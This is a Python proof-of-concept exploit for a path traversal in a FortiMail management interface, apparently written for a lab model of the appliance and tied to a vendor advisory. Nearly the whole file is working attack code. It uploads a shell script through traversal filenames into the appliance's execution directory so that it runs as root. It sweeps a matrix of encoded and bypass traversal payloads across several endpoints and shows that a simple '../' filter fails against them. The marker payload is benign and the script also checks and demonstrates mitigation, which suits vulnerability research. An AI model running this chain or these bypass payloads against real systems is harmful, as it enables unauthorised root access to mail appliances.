#!/usr/bin/env python3
"""
CVE-2026-126147 -- FortiMail management-interface path traversal (CWE-22).

Proof of concept for Fortinet PSIRT FG-IR-26-199.

The appliance is modelled by lab/fortimail_web.py, which serves the management
interface over HTTPS.  The proof does not rely on the model cooperating: the traversal
payload is aimed at the shared results volume, so the PoC can read back the file it
wrote and prove that the write landed *outside* the restricted directory.

Modes:
    check       classify the target without leaving anything outside its own directory
    exploit     the full chain: traversal write -> file lands in the appliance script
                directory -> the appliance executes it as root -> proof marker
    probe       the sibling-path and sibling-payload matrix (the 0-day sweep)
    mitigation  the mitigation as published and the form that actually takes effect
    0day       the full sweep
"""

import argparse
import base64
import json
import os
import socket
import ssl
import sys
import time
import urllib.error
import urllib.parse
import urllib.request

RESULTS = os.environ.get("POC_RESULTS", "/results")
MARKER_DIR = os.path.join(RESULTS, "marker")
WRITE_LOG = os.path.join(RESULTS, "write-log.txt")
EXEC_LOG = os.path.join(RESULTS, "exec-log.txt")
OUTSIDE_SECRET = b"FORTIMAIL-OUTSIDE-SECRET"

EXIT_SAFE = 0
EXIT_VULN = 1
EXIT_UNREACHABLE = 2
EXIT_BLOCKED = 3
EXIT_NO_LISTENER = 4

CTX = ssl._create_unverified_context()

UPLOAD = "/api/v1/attachment/upload"
IMPORT = "/api/v1/config/import"
IBE = "/api/v1/ibe/key"
DOWNLOAD = "/api/v1/attachment/download"
VERSION = "/api/v1/version"


# ------------------------------------------------------------------ transport


class Unreachable(Exception):
    pass


class NoListener(Unreachable):
    pass


def http(method, base, path, body=None, headers=None, timeout=10):
    """Return (status, body_bytes).  Raises Unreachable / NoListener."""
    url = base.rstrip("/") + path
    req = urllib.request.Request(url, data=body, method=method)
    req.add_header("User-Agent", "cve-2026-126147-poc/1.0")
    for k, v in (headers or {}).items():
        req.add_header(k, v)
    try:
        with urllib.request.urlopen(req, context=CTX, timeout=timeout) as resp:
            return resp.status, resp.read()
    except urllib.error.HTTPError as exc:
        return exc.code, exc.read()
    except urllib.error.URLError as exc:
        reason = getattr(exc, "reason", exc)
        if isinstance(reason, ConnectionRefusedError):
            raise NoListener(str(reason))
        if isinstance(reason, socket.timeout):
            raise Unreachable("timeout")
        raise Unreachable(str(reason))
    except (ssl.SSLError, ConnectionResetError, OSError) as exc:
        raise Unreachable(str(exc))


def jhttp(method, base, path, obj=None, headers=None):
    body = None
    hdrs = {"Accept": "application/json"}
    if obj is not None:
        body = json.dumps(obj).encode()
        hdrs["Content-Type"] = "application/json"
    hdrs.update(headers or {})
    status, raw = http(method, base, path, body=body, headers=hdrs)
    try:
        doc = json.loads(raw.decode("utf-8", "replace"))
    except ValueError:
        doc = {"_raw": raw[:400].decode("utf-8", "replace")}
    return status, doc


def multipart(fields):
    """Build a multipart/form-data body: fields = [(name, filename|None, bytes)]."""
    boundary = "----cve2026126147boundary"
    out = b""
    for name, filename, data in fields:
        out += ("--%s\r\n" % boundary).encode()
        disp = 'Content-Disposition: form-data; name="%s"' % name
        if filename is not None:
            disp += '; filename="%s"' % filename
        out += (disp + "\r\n\r\n").encode()
        out += data
        out += b"\r\n"
    out += ("--%s--\r\n" % boundary).encode()
    return out, "multipart/form-data; boundary=%s" % boundary


# --------------------------------------------------------------------- helpers


def token(n=8):
    return os.urandom(n).hex()


def marker_path(tok):
    return os.path.join(MARKER_DIR, "pwn_%s.txt" % tok)


def read_marker(tok):
    path = marker_path(tok)
    try:
        with open(path, "rb") as fh:
            return fh.read().decode("utf-8", "replace")
    except OSError:
        return None


def escape_to_results(name, tok):
    """A payload that lands in the shared results volume once it escapes the root."""
    return "../../../results/escape_%s_%s" % (tok, name)


def upload(base, name, content=b"FORTIMAIL-TRAVERSAL-MARKER\n", path=UPLOAD, key="filename"):
    doc = {key: name, "content_b64": base64.b64encode(content).decode()}
    return jhttp("POST", base, path, doc)


def upload_multipart(base, name, content=b"FORTIMAIL-TRAVERSAL-MARKER\n"):
    body, ctype = multipart([
        ("filename", name, content),
        ("content", None, content),
    ])
    status, raw = http("POST", base, IMPORT, body=body,
                       headers={"Content-Type": ctype})
    try:
        return status, json.loads(raw.decode("utf-8", "replace"))
    except ValueError:
        return status, {"_raw": raw[:400].decode("utf-8", "replace")}


def download(base, name):
    status, doc = jhttp("GET", base, DOWNLOAD + "?path=" + urllib.parse.quote(name, safe=""))
    return status, doc


# ------------------------------------------------------------------ the checks


def target_info(base):
    status, doc = jhttp("GET", base, VERSION)
    if status != 200:
        raise Unreachable("version endpoint returned %s" % status)
    return doc


def classify(base, verbose=True):
    """Side-effect free classification: a read traversal plus one benign write
    inside the restricted directory."""
    tok = token()
    info = target_info(base)

    # the endpoint has to be alive and has to accept a legitimate write
    status, doc = upload(base, "check-probe-%s.txt" % tok)
    if status != 200:
        return {
            "verdict": "UNKNOWN",
            "reason": "the upload endpoint refused a benign write (HTTP %s)" % status,
            "target": info,
        }

    # the escape probe: read a file that lives outside the restricted directory
    status, doc = download(base, "../outside-secret.txt")
    escaped = False
    if status == 200:
        try:
            body = base64.b64decode(doc.get("content_b64", "") or "")
        except Exception:
            body = b""
        escaped = OUTSIDE_SECRET in body

    out = {
        "target": info,
        "read_probe_status": status,
        "read_probe_escaped": bool(escaped),
        "verdict": "VULNERABLE" if escaped else "SAFE",
    }
    if verbose:
        print(json.dumps(out, indent=2, sort_keys=True))
    return out


# ------------------------------------------------------------------- the chain


def build_payload(tok):
    return (
        "#!/bin/sh\n"
        "id > /results/marker/pwn_%s.txt 2>&1\n"
        "echo 'TOKEN=%s' >> /results/marker/pwn_%s.txt\n"
        "echo 'PWNED' >> /results/marker/pwn_%s.txt\n"
    ) % (tok, tok, tok, tok)


def exploit(base):
    tok = token()
    info = target_info(base)
    payload = build_payload(tok).encode()
    name = "../exec/pwn_%s.sh" % tok

    status, doc = upload(base, name, payload)
    print(json.dumps({
        "step": "upload traversal payload",
        "path": name,
        "http_status": status,
        "response": doc,
    }, indent=2, sort_keys=True))

    if status != 200:
        print(json.dumps({
            "verdict": "SAFE",
            "detail": "the appliance refused the traversal write (HTTP %s); "
                      "nothing was stored outside the restricted directory" % status,
            "token": tok,
        }, indent=2, sort_keys=True))
        return EXIT_SAFE

    marker = None
    for _ in range(40):
        marker = read_marker(tok)
        if marker:
            break
        time.sleep(0.25)

    if not marker:
        print(json.dumps({
            "verdict": "PRIMITIVE ONLY",
            "detail": "the payload was stored but no execution marker appeared",
            "token": tok,
        }, indent=2, sort_keys=True))
        return EXIT_BLOCKED

    root = "uid=0(root)" in marker
    print(json.dumps({
        "verdict": "VULNERABLE" if root else "PRIMITIVE ONLY",
        "token": tok,
        "marker": marker.strip().splitlines(),
        "root": root,
    }, indent=2, sort_keys=True))
    return EXIT_VULN if root else EXIT_BLOCKED


# ------------------------------------------------------------------ the sweep

PAYLOADS = [
    ("dotdot", "../../../results/%s"),
    ("dotdotdot", "../../../../results/%s"),
    ("encoded", "..%%2f..%%2f..%%2f..%%2fresults%%2f%s"),
    ("double-encoded", "..%%252f..%%252f%s"),
    ("quad-dot", "....//....//%s"),
    ("nul-byte", "../../../results/%s%%00.jpg"),
    ("absolute", "/tmp/%s"),
    ("prefix-bypass", "store/../../../../results/%s"),
    ("symlink", "shared-link/%s"),
    ("backslash", "..\\..\\%s"),
    ("dot-slash", "./../../../results/%s"),
    ("subdir", "subdir/../../../../results/%s"),
]

ENDPOINTS = [
    ("upload-json", "json"),
    ("import-multipart", "multipart"),
    ("ibe-json", "ibe"),
    ("download-read", "read"),
]


def write_log_offset():
    try:
        return os.path.getsize(WRITE_LOG)
    except OSError:
        return 0


def exec_log_offset():
    try:
        return os.path.getsize(EXEC_LOG)
    except OSError:
        return 0


def exec_log_since(offset):
    """The appliance's execution log: what the maintenance task runner ran."""
    try:
        with open(EXEC_LOG, "rb") as fh:
            fh.seek(offset)
            raw = fh.read()
    except OSError:
        return ""
    return raw.decode("utf-8", "replace")


def write_log_since(offset):
    """The appliance logs every write it performs, with the path the file really
    landed on and whether that path left the restricted directory."""
    try:
        with open(WRITE_LOG, "rb") as fh:
            fh.seek(offset)
            raw = fh.read()
    except OSError:
        return []
    out = []
    for line in raw.decode("utf-8", "replace").splitlines():
        line = line.strip()
        if not line.startswith("{"):
            continue
        try:
            out.append(json.loads(line))
        except ValueError:
            continue
    return out


def sweep(base, label, verbose=True):
    """Run the payload x endpoint matrix and report which ones escape."""
    tok = token()
    offset = write_log_offset()
    exec_offset = exec_log_offset()
    rows = []
    escaped_any = False
    for plabel, template in PAYLOADS:
        fname = template % ("probe_%s_%s.txt" % (tok, plabel))
        observed = os.path.join(RESULTS, fname)
        if os.path.exists(observed):
            os.unlink(observed)
        for elabel, kind in ENDPOINTS:
            status = None
            detail = ""
            try:
                if kind == "json":
                    status, doc = upload(base, fname)
                    detail = json.dumps(doc)[:160]
                elif kind == "multipart":
                    status, doc = upload_multipart(base, fname)
                    detail = json.dumps(doc)[:160]
                elif kind == "ibe":
                    status, doc = upload(base, fname, path=IBE, key="name")
                    detail = json.dumps(doc)[:160]
                else:
                    status, doc = download(base, fname)
                    detail = json.dumps(doc)[:160]
            except Unreachable as exc:
                status = -1
                detail = "unreachable: %s" % exc
            rows.append({
                "payload": plabel,
                "endpoint": elabel,
                "name": fname,
                "http_status": status,
                "escaped": False,
                "executed": False,
                "detail": detail,
            })
        # the artefact is checked once, after every endpoint has been tried, so
        # that the read-direction probe can still see what the write left behind
        landed = os.path.exists(observed)
        if landed:
            os.unlink(observed)
        for row in rows:
            if row["payload"] == plabel:
                row["escaped"] = landed
        if landed:
            escaped_any = True

    # second opinion: the appliance's own write log
    escaped_paths = set()
    for entry in write_log_since(offset):
        if entry.get("escaped"):
            escaped_paths.add(entry.get("path"))
    for row in rows:
        if row["name"] in escaped_paths:
            row["escaped"] = True
            escaped_any = True

    # third opinion: did the appliance execute anything that the sweep wrote?
    executed = exec_log_since(exec_offset)
    if executed:
        for row in rows:
            if row["name"].split("/")[-1] in executed:
                row["executed"] = True

    out = {
        "target": label,
        "base": base,
        "escaped_any": escaped_any,
        "results": rows,
        "verdict": "VULNERABLE" if escaped_any else "SAFE",
    }
    if verbose:
        print(json.dumps(out, indent=2, sort_keys=True))
    return out


def waf_filter(payload_name):
    """The operator-side mitigation people write for a traversal bug: reject any
    request whose body contains '../'.  This is the rule as it is normally
    published; the sweep shows whether it actually takes effect."""
    return "../" in payload_name


def mitigation(base, closed_target):
    """Two halves:
       (a) the vendor publishes no workaround for FG-IR-26-199 -- state it, and
           show that the operator-side filter that people write for this bug does
           not take effect on every payload shape;
       (b) the mitigation that does take effect: the management interface is not
           reachable from the untrusted network."""
    print(json.dumps({
        "vendor_workaround": "none published in FG-IR-26-199",
        "effective_mitigation": "do not expose the management interface to untrusted networks",
    }, indent=2))

    # (a) the filter as published
    filtered, slipped = [], []
    for plabel, template in PAYLOADS:
        sample = template % "payload.txt"
        if waf_filter(sample):
            filtered.append(plabel)
        else:
            slipped.append(plabel)
    print(json.dumps({
        "operator_filter": "reject any request body containing '../'",
        "blocked": filtered,
        "not_blocked": slipped,
        "note": "the filter only matches the literal two-dot slash sequence",
    }, indent=2, sort_keys=True))

    # the filter does not stop the payload set, so the request has to be stopped
    # before it reaches the appliance
    try:
        status, doc = jhttp("POST", closed_target, UPLOAD,
                            {"filename": "../exec/closed.sh",
                             "content_b64": base64.b64encode(b"x").decode()})
        print(json.dumps({
            "closed_target": closed_target,
            "http_status": status,
            "verdict": "MITIGATION FAILED -- the request was delivered",
        }, indent=2, sort_keys=True))
        return EXIT_VULN
    except NoListener as exc:
        print(json.dumps({
            "closed_target": closed_target,
            "verdict": "MITIGATION HOLDS -- the management interface is not reachable",
            "detail": str(exc),
        }, indent=2, sort_keys=True))
        return EXIT_SAFE
    except Unreachable as exc:
        print(json.dumps({
            "closed_target": closed_target,
            "verdict": "MITIGATION HOLDS -- the management interface is not reachable",
            "detail": str(exc),
        }, indent=2, sort_keys=True))
        return EXIT_SAFE


# ------------------------------------------------------------------- the main


def main():
    ap = argparse.ArgumentParser(description="CVE-2026-126147 FortiMail path traversal PoC")
    ap.add_argument("mode_arg", nargs="?", default=None,
                    choices=["check", "exploit", "probe", "mitigation", "0day"],
                    help="the mode to run")
    ap.add_argument("--mode", default=None,
                    choices=["check", "exploit", "probe", "mitigation", "0day"])
    ap.add_argument("--target", action="append", default=None,
                    help="base URL of the management interface (repeatable)")
    ap.add_argument("--secondary", action="append", default=None,
                    help="additional target to sweep, reported separately")
    ap.add_argument("--closed-target", default=None,
                    help="base URL used by the mitigation mode to prove that an "
                         "unreachable management interface stops the attack")
    args = ap.parse_args()

    mode = args.mode_arg or args.mode or "check"
    targets = args.target or [os.environ.get("FML_TARGET", "https://fortimail-vuln:443")]
    base = targets[0]
    os.makedirs(MARKER_DIR, exist_ok=True)

    try:
        if mode == "check":
            res = classify(base)
            return EXIT_VULN if res["verdict"] == "VULNERABLE" else (
                EXIT_SAFE if res["verdict"] == "SAFE" else EXIT_UNREACHABLE)

        if mode == "exploit":
            return exploit(base)

        if mode == "probe":
            res = sweep(base, targets[0])
            return EXIT_VULN if res["escaped_any"] else EXIT_SAFE

        if mode == "mitigation":
            closed = args.closed_target or os.environ.get(
                "FML_CLOSED_TARGET", base.rsplit(":", 1)[0] + ":9")
            return mitigation(base, closed)

        if mode == "0day":
            primary = sweep(targets[0], targets[0])
            secondary = []
            for t in (args.secondary or []) + targets[1:]:
                secondary.append(sweep(t, t))
            print(json.dumps({
                "mode": "0day",
                "patched_line": primary["target"],
                "patched_line_verdict": primary["verdict"],
                "secondary_targets": [o["target"] for o in secondary],
                "secondary_verdicts": [o["verdict"] for o in secondary],
                "verdict": primary["verdict"],
            }, indent=2, sort_keys=True))
            return EXIT_VULN if primary["escaped_any"] else EXIT_SAFE
    except NoListener as exc:
        print(json.dumps({"verdict": "NO LISTENER", "detail": str(exc)}), file=sys.stderr)
        return EXIT_NO_LISTENER
    except Unreachable as exc:
        print(json.dumps({"verdict": "UNREACHABLE", "detail": str(exc)}), file=sys.stderr)
        return EXIT_UNREACHABLE

    print("unknown mode", file=sys.stderr)
    return EXIT_UNREACHABLE


if __name__ == "__main__":
    sys.exit(main())
